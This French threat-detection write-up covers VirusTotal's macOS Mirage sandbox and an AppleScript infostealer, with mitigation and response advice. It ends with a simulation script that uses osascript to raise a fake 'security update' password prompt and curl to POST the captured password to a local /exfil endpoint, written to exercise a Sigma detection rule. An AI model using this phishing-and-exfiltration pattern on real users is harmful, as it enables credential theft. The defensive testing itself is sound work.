macOS Mirage : Analyse Dynamique et Détections Sigma pour Apple Silicon

Résumé

VirusTotal a introduit macOS Mirage, un nouveau bac à sable d’analyse dynamique conçu spécifiquement pour Apple Silicon (ARM64) et macOS 26. La plateforme fournit une télémétrie comportementale de haute fidélité et des détections Sigma automatisées pour identifier les menaces macOS émergentes telles que les voleurs d’informations et les malwares de phishing de crédentiels. Elle aborde la transition des systèmes Intel vers ARM64 tout en opérant contre les protections modernes, y compris la Protection de l’Intégrité du Système (SIP).

Enquête

Le rapport analyse un échantillon de voleur d’informations macOS, unix51436504, qui utilise AppleScript pour le phishing et des charges utiles multi-étapes pour la persistance et le vol de données. Les chercheurs ont retracé le malware à partir d’une invite de mot de passe trompeuse initiale jusqu’à la persistance basée sur LaunchDaemons et l’exfiltration des données de Trousseau, Safari, et Apple Notes. Le bac à sable a réussi à mapper ces comportements aux techniques MITRE ATT&CK pertinentes en utilisant des règles Sigma.

Atténuation

Bien qu’aucun correctif logiciel spécifique ne soit décrit, le rapport insiste sur la surveillance de l’accès non autorisé à des emplacements sensibles tels que les bases de données Trousseau, TCC.db, et LaunchDaemons. Les organisations devraient détecter l’utilisation suspecte d’utilitaires en ligne de commande, y compris osascript, curl, et ditto lorsqu’ils sont exécutés dans des contextes inhabituels. La surveillance des schémas d’exécution multi-étapes et des modifications inattendues de fichiers dans /tmp/ ou dans les répertoires personnels des utilisateurs est également critique.

Réponse

Lorsque ces comportements sont détectés, les intervenants doivent immédiatement isoler l’appareil macOS affecté pour empêcher toute exfiltration de données supplémentaire. Enquêter sur les mécanismes de persistance, en prêtant une attention particulière à /Library/LaunchDaemons et aux LaunchAgents de niveau utilisateur. Effectuer une révision complète des données du Trousseau, des crédentiels de navigateur, et des clés SSH pour d’éventuels compromis, et réinitialiser tous les crédentiels sensibles exposés.

Exécution de simulation

• Narrative d’attaque & Commandes : Un adversaire vise à récolter des crédentiels utilisateur en présentant un faux mais convaincant dialogue système. L’attaquant utilise osascript pour déclencher une boîte de dialogue macOS. Pour imiter la logique spécifique de la règle de détection (qui recherche une faute de frappe spécifique ‘passwen’), le script utilisera intentionnellement cette chaîne. Une fois que l’utilisateur « soumet » le faux mot de passe, le script utilise curl pour POSTER les données capturées à un auditeur distant, simulant la phase d’exfiltration d’un voleur d’informations.

• Script de test de régression :

  #!/bin/bash
  # Simulation de phishing de crédentiel voleur d'informations macOS
  
  # 1. Déclencher le faux dialogue (correspond à l'indicateur1 et l'indicateur2)
  # Remarque : Utilisation de 'passwen' pour déclencher la logique spécifique dans la règle de détection
  osascript -e 'set passwen to display dialog "Mise à jour de sécurité système : Veuillez entrer votre mot de passe macOS pour continuer" default answer "" with icon caution'
  
  # 2. Simuler l'exfiltration via curl (correspond à l'indicateur3)
  # Nous simulons l'envoi de la chaîne "volée" à un point d'entrée local/distant
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Simulation complète. Vérifier SIEM pour les alertes."

• Commandes de nettoyage :

  # Aucun fichier permanent n'a été créé durant cette simulation.
  # Si des fichiers temporaires ont été utilisés pour la mise en scène des données, ils seraient supprimés ici.
  rm -f /tmp/stolen_creds.txt